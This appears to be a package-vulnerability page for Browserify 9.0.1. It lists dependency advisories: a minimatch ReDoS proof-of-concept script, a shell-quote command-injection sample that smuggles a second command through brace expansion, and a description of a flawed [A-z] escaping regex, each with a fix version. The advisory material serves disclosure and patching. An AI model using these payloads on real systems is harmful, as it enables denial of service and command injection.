Browserify is a powerful tool for developers who want to use Node.js-style require() statements in the browser. It bundles up your JavaScript code and all its dependencies into a single file that you can then include in your HTML. Looking at versions 9.0.0 and 9.0.1, there are no changes between dependencies or devDependencies.
Version 9.0.1 was released just minutes after 9.0.0, suggesting a quick fix or patch was implemented. For developers using Browserify, this means upgrading from 9.0.0 to 9.0.1 is likely a low-risk move, addressing a potentially important issue without introducing new features or breaking changes. It's always good practice to check the changelog or release notes on the official repository for any patch details.
Both versions support a wide range of dependencies, including modules for handling URLs, glob patterns, utilities, assertions, buffers, events, and much more. This extensive dependency list highlights Browserify's ability to handle complex projects with diverse requirements. The inclusion of development dependencies like es6ify and coffeeify indicates that Browserify can integrate with modern JavaScript workflows, including ES6 transpilation and CoffeeScript compilation. Finally, It is crucial to specify the version when installing a package with NPM to avoid compatibility problems.
All the vulnerabilities related to the version 9.0.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
Improper Neutralization of Special Elements used in a Command in Shell-quote
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is [A-z] instead of the correct [A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.
